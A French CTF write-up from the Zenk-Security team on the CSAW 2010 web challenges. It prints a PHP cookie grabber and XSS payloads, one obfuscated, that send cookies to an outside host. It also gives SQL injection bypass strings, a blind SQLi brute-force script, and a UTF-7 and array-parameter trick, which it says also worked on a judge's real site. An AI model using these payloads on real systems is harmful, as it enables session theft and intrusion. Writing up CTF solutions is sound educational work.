Capture the Flag Application

Security Challenge

Write up Zenk - Security . Com
01.10.2010

Sommaire:

1. Introduction 2
1.1 CSAW CTF 2
1.2 Zenk - Security 2

2. XSS 3
2.1 XSS1 [100 points] 3
2.2 XSS2 [200 points] 4
2.3 XSS3 [300 points] 4
2.4 XSS4 [400 points] 5
2.5 XSS5 [500 points] 5
2.6 Links 5

3. SQLI 6
3.1 SQL1 [100 points] 6
3.2 SQL2 [200 points] 7
3.3 SQL3 [300 points] 7
3.4 Links 9

4. WEB 10
4.1 WEB1 [200 points] 10
4.2 WEB2 [300 points] 10
4.3 WEB3 [400 points] 11
4.4 Links 11

5. Thanks …..... 12

1. Introduction

1.1 CSAW CTF

Ce week-end une équipe **Zenk-security** a participé au CTF CSAW ,basé sur les Prequals Defcon. Un CTF qui commençait samedi 2:00am et finissait 48 heures plus tard.
Très bon CTF, formateur et très bien organisé.
Les 10 premières équipes avaient la chance de se qualifier pour la finale, si et seulement si elles étaient basées aux États-Unis.
Nous étions en tout 85 équipes. **Nibbles** a finit **second** avec **9470points** et **Zenk-Security** a finit **11ème** avec **6091 points**. Voici le scoreboard ainsi que le graph du TOP15 des validations mis en place par StalkR

All Teams

Rank	Team Name	Score	Team Affiliation
1	ppp1	9531	CMU
2	Nibbles	9470	Nibbles
3	SBU	8190	Stony Brook University
4	Leet More	7990	LITMO
5	RPISEC	7956	Rensselaer Polytechnic Institute
6	int3pids	7670	UOC (uoc.edu)
7	Koibas	7340	SSAU
8	[csg]	6900	University of Texas at Dallas
9	ppp2	6862	CMU
10	PPP_Graduate	6521	Carnegie Mellon University
11	Zenk-Security	6091	bonne
12	SCDT1	5815	Stevens Institute of Tech
13	lobotomy	5765	KGU
14	FlexSurfing	5615	Ruhr-University Bochum
15	Kernel Sanders	5431	University of Florida
16	ceptional_interdigits	5400	None
17	Big-Daddy	5346	Big-Daddy
18	USAFABlue	5225	USAFA
19	USAFARed	5160	USAFA
20	Trololol	5041	University of Hawaii at Hilo

1.2 Zenk - Security

nico34 => http://www.zenk-security.com - http://twitter.com/ZenkSecurity
Hydraze => http://www.hydraze.org - http://twitter.com/Hydraze
MatToufoutu => http://twitter.com/MatToufoutu
Debaser => http://twitter.com/_Debaser_
shp => http://www.shp-box.fr/blog
ezano => http://ezano-secu.fr
Asus
way
SIGSKILL
bik3te
Burner
Spl3en

2. XSS

> *Citation :*There are five XSS challenges. Every 15 mintues, the persistent databases are wiped, so load your payloads quickly. The keys are cookies on a client box.

2.1 XSS1 [100 points]

Épreuve :
http://128.238.66.100:30003/xss1/in.php
http://128.238.66.100:30003/xss1/out.php

Solution :
Le but de l'épreuve est donc d'exploiter une faille de type Cross site scripting (XSS).
Pour cela, nous avons besoin d'un script nous permettant de récupérer le continu du cookie. Nous l'appellerons grabber.php.

Code PHP :

```php
<?php
    if (isset($_GET['g']))
    {
        file_put_contents("key.txt", $_GET['g']."\n", FILE_APPEND);
    }
?>
```

Épreuve archi-simple, aucun filtre mis en place pour protéger la variable. On insère donc notre script:

Code :

```
<script>location.replace="http://www.zenk-security.com/grabber.php?g="+document.cookie</script>
```

Il ne nous reste plus qu'à aller lire notre fichier key.txt sur le FTP, il contiendra le cookie qui sera en l'occurrence le flag pour valider.

2.2 XSS2 [200 points]

Épreuve :
http://128.238.66.100:30003/xss2/in.php
http://128.238.66.100:30003/xss2/out.php

Solution :
Nous pouvions utiliser la même technique que pour la XSS1.

2.3 XSS3 [300 points]

Épreuve :
http://128.238.66.100:30003/xss3/in.php
http://128.238.66.100:30003/xss3/out.php

Solution :
Dans cette épreuve, un filtre est mis en place pour convertir certains symboles en entités html : htmlentities()

Pour cela nous allons utiliser les évènements javascript :
onClick – *onMouseOver* – *onChange* – *onSubmit* – *onLoad* sont les plus connus
Dans cette épreuve nous utiliserons l'évènement "onMouseOver".

Code :

```
" OnMouseOver="document.location='http://www.zenk-
security.com/grabber.php?g='+document.cookie
```

Il ne nous reste plus qu'à aller lire notre fichier key.txt sur le FTP, il contiendra le cookie qui sera en l'occurrence le flag pour valider.

2.4 XSS4 [400 points]

Épreuve :
http://128.238.66.100:30003/xss4/in.php
http://128.238.66.100:30003/xss4/out.php

Solution :
Pour cette épreuve il nous faut encoder notre injection grâce à String.fromCharCode (encoder)

Code :

```
"onload="String.fromCharCode(119,105,110,100,111,119,46,108,111,99,
97,116,105,111,110,61,34,104,116,116,112,58,47,47,119,119,119,46,12
2,101,110,107,45,115,101,99,117,114,105,116,121,46,99,111,109,47,10
3,114,97,98,98,101,114,46,112,104,112,63,103,61,34,43,101,115,99,97
,112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,10
1,41)
```

Il ne nous reste plus qu'à aller lire notre fichier key.txt sur le FTP, il contiendra le cookie qui sera en l'occurrence le flag pour valider.

2.5 XSS5 [500 points]

Épreuve :
http://128.238.66.100:30003/xss5/in.php
http://128.238.66.100:30003/xss5/out.php

Solution :
Nous pouvions utiliser la même technique que pour la XSS4.

2.6 Links

http://wocares.com/
http://ha.ckers.org/xss.html
http://pro.grammatic.org/post-javascript...er-11.aspx
http://niklosweb.free.fr/Tutoriaux/Hacking/XSS.html
http://www.planetcreator.net/2010/09/xss-cheat-list/

3. SQLI

> *Citation :*There are three SQLI challenges. Authenticate to get the key.

3.1 SQL1 [100 points]

Épreuve :
http://128.238.66.100:30004/sql1/auth.php

Solution :
Le script php prend deux paramètres en GET (u = user) et (p = password).
Imaginons notre requete :
Code :

```
SELECT * FROM users WHERE login='$login' AND password='$password'
```

Le webmaster a seulement protégé la variable user dans son code. Il est donc possible d'injecter une expression dans le paramètre password. En l'occurrence 'OR "a"="a' , qui renverra un résultat positif. Voici comment sera interpréter notre requête:
Code :

```
SELECT pseudo,password FROM users WHERE pseudo="admin" AND
password="blaaa"OR "a"="a"
```

Code :

```
http://128.238.66.100:30004/sql1/auth.php?u=admin&p=blaaa"OR "a"="a
```

Nous nous connectons donc sur le compte administrateur, take the flag !

3.2 SQL2 [200 points]

Épreuve :
http://128.238.66.100:30004/sql2/auth.phps
http://128.238.66.100:30004/sql2/reg.php
http://128.238.66.100:30004/sql2/auth.php

Solution :
Le code source de la page nous est fourni.

Le script vérifie tout d'abord si le couple user/pass que l'on a rentré existe bien.
Si tel est le cas, le script analyse ensuite si le login est "administrator".
Nous sommes libres, via le script de création de compte, d'enregistrer notre user.
Nous pouvons donc créer un compte "%administrator".
Ainsi en se loggant, la requête deviendra :
Code :

```
"SELECT username FROM `sql2`.`sql2` WHERE `username` LIKE
'%administrator'"
```

Ce qui renverra administrator.
Ce compte aura sûrement déjà été créé par une autre équipe. Pour contrer ça, l'SQL pattern matching nous permet d'utiliser le caractère '_'
pour définir n'importe quel caractère. Nous pourrons donc créer le compte "%adm_nistrator" ou "%administ_ator" par exemple.

3.3 SQL3 [300 points]

Épreuve :

> *Citation :*Key is in @KEY

http://128.238.66.100:30004/sql3/auth.php

Solution :
Ce script permet de donner des informations sur l'utilisateur souhaité.
Tentons d'abord de lister tous les utilisateurs:

On rentre dans le champ
Code :

```
" or ""="
```

--> User : administrator

On rentre administrator
--> Ok

Vérifions s'il y a SQL injection :
Code :
administrator" AND 1=1 -- -
--> Ok

Code :

```
administrator" AND 1=0 -- -
```

--> Fail! (pas de résultat)

Nous sommes donc sûr de l'existence de la faille.

Tentons une exploitation en blind :
Code :

```
administrator" AND ASCII(SUBSTRING(@KEY,1,1))=98 -- -
```

ou
Code :

```
administrator" AND SUBSTRING(@KEY,1,1)=CHAR(98) -- -
```

--> User : administrator

Code :

```
administrator" AND ASCII(SUBSTRING(@KEY,1,1))=99 -- -
```

ou
Code :

```
administrator" AND SUBSTRING(@KEY,1,1)=CHAR(99) -- -
```

--> Fail! (pas de résultat)

On apprend deux choses :
* Nous pouvons exploiter en blind de cette façon
* Le 1er caractère du flag est char(98) --> 'b'

Commençons l'exploitation. Pour rappel, nous exploitons en blind (à l'aveugle). Quand notre requête est vraie, "administrator" s'affiche sinon aucun résultat n'apparaît. Nous allons donc bruteforcer chaque caractère du mot de passe via ASCII(SUBSTRING()).

Voilà un exemple de script :

Code PHP :

```php
<?php
$length = 32;
$host = "128.238.66.100";
$port = 30004;
$url = "/sql3/auth.php?u=administrator\"%20AND
%20ASCII(SUBSTRING(@KEY,";
$initVal = 40;
$pos = 1;
$val = $initVal;

echo "The password is ";
while($pos <= $length) {
    $socket = fsockopen($host, $port);

    $request = "GET $url$pos,1))=$val%20--%20- HTTP/1.1\r\n".
        "Host: $host\r\n".
        "Connection: close\r\n\r\n";

    fwrite($socket, $request);
    $answer = '';
    while(!feof($socket))
        $answer .= fgets($socket);

    if(preg_match("#administrator#i", $answer)) {
        echo chr($val);
        $val = $initVal;
        $pos++;
    }

    $val++;
}

echo "\n";

?>
```

3.4 Links

http://adsltele.free.fr/tutoriel-injection-sql.php
http://dev.mysql.com/doc/refman/5.0/en/p...ching.html
http://www.planetcreator.net/cheat_sheet...injection/
http://www.shattier-blog.net/2009/09/blin...n-exploit/

4. WEB

4.1 WEB1 [200 points]

Épreuve :
A programmer was tasked with making a secure website. He thought, if everyone was always authenticated, then there would be no case where an attacker can authenticate maliciously. Break it.
http://128.238.66.100:30005/chal1/chal.php
Solution :
L'énoncé est explicite, on s'empresse de regarder le code source.
L'identification se fait apparemment via la variable $_COOKIE['SESSIONID']
Avec $_COOKIE['SESSIONID']=0, nous sommes considérés comme admin, sinon nous sommes un simple utilisateur.

Essayons avec un SESSIONID invalide 'a' ou -1 par exemple. Nous plantons le script.

Tout simple, et hop un flag !

4.2 WEB2 [300 points]

Épreuve :
There's something different about this page, isn't there?
http://128.238.66.100:30006/chal1/chal.php
Solution :
Cette page nous amène sur un "moteur de recherche" qui ne recherche au final rien du tout, il est donc inutile mais nous affiche la recherche que nous souhaitions effectuer. Nous pouvons donc oublier tout ce qui est injection sql et peut être plus nous pencher sur un faille de type XSS.
Testons si un <script> est interprété. Non, les symboles tel que < sont traduits en entités html > . Un petit tour dans les headers et nous pouvons remarquer grâce à l'en-tête Accept-Charset que nous pouvons utiliser l'utf-7.
Injectons donc notre <script> en utf-7 et voyons ce que ça donne.

Code :

```
http://128.238.66.100:30006/chal1/chal.php?q=%2bADw-%2fSCRIPT%2bAD4-
```

On cherche pas plus loin, pas de grabber pas d'alert, le script comprend que nous essayons d'injecter en utf-7.

Give us the flag !

4.3 WEB3 [400 points]

Épreuve :
http://128.238.66.100:30007/chal1/chal.phps
http://128.238.66.100:30007/chal1/chal.php
Solution :
Le code source de la page nous est fourni.

La fonction preg_filter est intéressante.

> *Citation :* Retourne un tableau si le paramètre subject est de type tableau ou une chaîne de caractères autrement.
>
> Si aucune concurrence n'est trouvée ou si une erreur survient, un tableau vide sera retourné lorsque le paramètre subject est un tableau ou NULL sinon.

Testons de faire beuger notre script avec une légère modification :

Code :
```
http://128.238.66.100:30007/chal1/chal.php?p[]=
```

Et op echo($key);

Nous avions rencontré le même type de faille sur le site d'un des juges => Dan Dee Beer's :
Code :
```
http://zerodaysolutions.com/misc/64.php?key[]=
```

La faille a été reporté par l'équipe FlexSurfing, cet acte leur a été récompenser => +1 point

4.4 Links

http://openmya.hacker.jp/hasegawa/security/utf7cs.html

5. Thanks

Voila pour ce tout petit compte-rendu d'épreuves TRÈS simple comparé à d'autres CTF. Certaines personnes avaient réclamés un compte rendu des épreuves web. C'est chose faite.

Par ailleurs nous tenons à remercier les organisateurs du CSAW CTF, le staff (HockeyInJune & Lixor_), les juges sur lesquelles nous nous sommes amusés à récupérer des informations mais aussi toutes les équipes qui ont participer à cet événement.
Congratz to Nibbles qui s'est très bien débrouillé comme à son habitude et aux participants de Zenk - Security qui se sont prêtés au jeu.

Write-up écrit par bik3te, MatToufoutu, shp & nico34

Citation humoristique du channel irc ***#ctf*** :

<ezano> why ppp has 3 teams?
<HockeyInJune> ezano shut up, no whining